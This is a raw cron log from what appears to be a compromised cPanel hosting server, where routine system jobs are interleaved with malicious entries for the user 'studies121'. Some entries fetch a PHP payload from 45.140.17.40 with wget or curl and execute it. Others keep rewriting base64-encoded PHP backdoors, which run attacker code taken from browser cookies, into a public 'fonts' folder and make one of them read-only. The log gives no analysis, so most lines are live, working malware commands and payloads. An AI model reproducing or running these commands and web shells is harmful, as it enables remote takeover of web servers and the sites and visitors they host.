Sep 12 16:11:01 ip-184-168-122-23 CROND[22140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:12:01 ip-184-168-122-23 CROND[22241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:12:01 ip-184-168-122-23 CROND[22243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:12:01 ip-184-168-122-23 CROND[22245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:12:01 ip-184-168-122-23 CROND[22244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:12:01 ip-184-168-122-23 CROND[22246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:13:01 ip-184-168-122-23 CROND[22343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:13:01 ip-184-168-122-23 CROND[22344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:13:01 ip-184-168-122-23 CROND[22345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:13:01 ip-184-168-122-23 CROND[22347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:14:01 ip-184-168-122-23 CROND[22437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:14:01 ip-184-168-122-23 CROND[22438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:14:01 ip-184-168-122-23 CROND[22439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:14:01 ip-184-168-122-23 CROND[22440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:14:01 ip-184-168-122-23 CROND[22441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:15:01 ip-184-168-122-23 CROND[22622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:15:01 ip-184-168-122-23 CROND[22623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:15:01 ip-184-168-122-23 CROND[22629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:15:01 ip-184-168-122-23 CROND[22625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:15:01 ip-184-168-122-23 CROND[22627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:15:01 ip-184-168-122-23 CROND[22624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:15:01 ip-184-168-122-23 CROND[22626]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 16:16:02 ip-184-168-122-23 CROND[22717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:16:02 ip-184-168-122-23 CROND[22718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:16:02 ip-184-168-122-23 CROND[22723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:16:02 ip-184-168-122-23 CROND[22724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:16:02 ip-184-168-122-23 CROND[22721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:16:02 ip-184-168-122-23 CROND[22722]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:17:01 ip-184-168-122-23 CROND[22815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:17:01 ip-184-168-122-23 CROND[22818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:17:01 ip-184-168-122-23 CROND[22819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:17:01 ip-184-168-122-23 CROND[22817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:18:01 ip-184-168-122-23 CROND[22936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:18:01 ip-184-168-122-23 CROND[22933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:18:01 ip-184-168-122-23 CROND[22935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:18:01 ip-184-168-122-23 CROND[22937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:18:01 ip-184-168-122-23 CROND[22934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:19:01 ip-184-168-122-23 CROND[23043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:19:01 ip-184-168-122-23 CROND[23045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:19:01 ip-184-168-122-23 CROND[23046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:19:01 ip-184-168-122-23 CROND[23047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:20:01 ip-184-168-122-23 CROND[23228]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:20:01 ip-184-168-122-23 CROND[23231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:20:01 ip-184-168-122-23 CROND[23232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:20:01 ip-184-168-122-23 CROND[23233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:20:02 ip-184-168-122-23 CROND[23239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:20:02 ip-184-168-122-23 CROND[23240]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 16:20:02 ip-184-168-122-23 CROND[23236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:20:02 ip-184-168-122-23 CROND[23238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:20:02 ip-184-168-122-23 CROND[23237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:21:01 ip-184-168-122-23 CROND[23342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:21:01 ip-184-168-122-23 CROND[23341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:21:01 ip-184-168-122-23 CROND[23344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:21:01 ip-184-168-122-23 CROND[23343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:22:01 ip-184-168-122-23 CROND[23432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:22:01 ip-184-168-122-23 CROND[23431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:22:01 ip-184-168-122-23 CROND[23433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:22:01 ip-184-168-122-23 CROND[23435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:22:01 ip-184-168-122-23 CROND[23438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:23:01 ip-184-168-122-23 CROND[23521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:23:01 ip-184-168-122-23 CROND[23522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:23:01 ip-184-168-122-23 CROND[23523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:23:01 ip-184-168-122-23 CROND[23524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:24:01 ip-184-168-122-23 CROND[23602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:24:01 ip-184-168-122-23 CROND[23605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
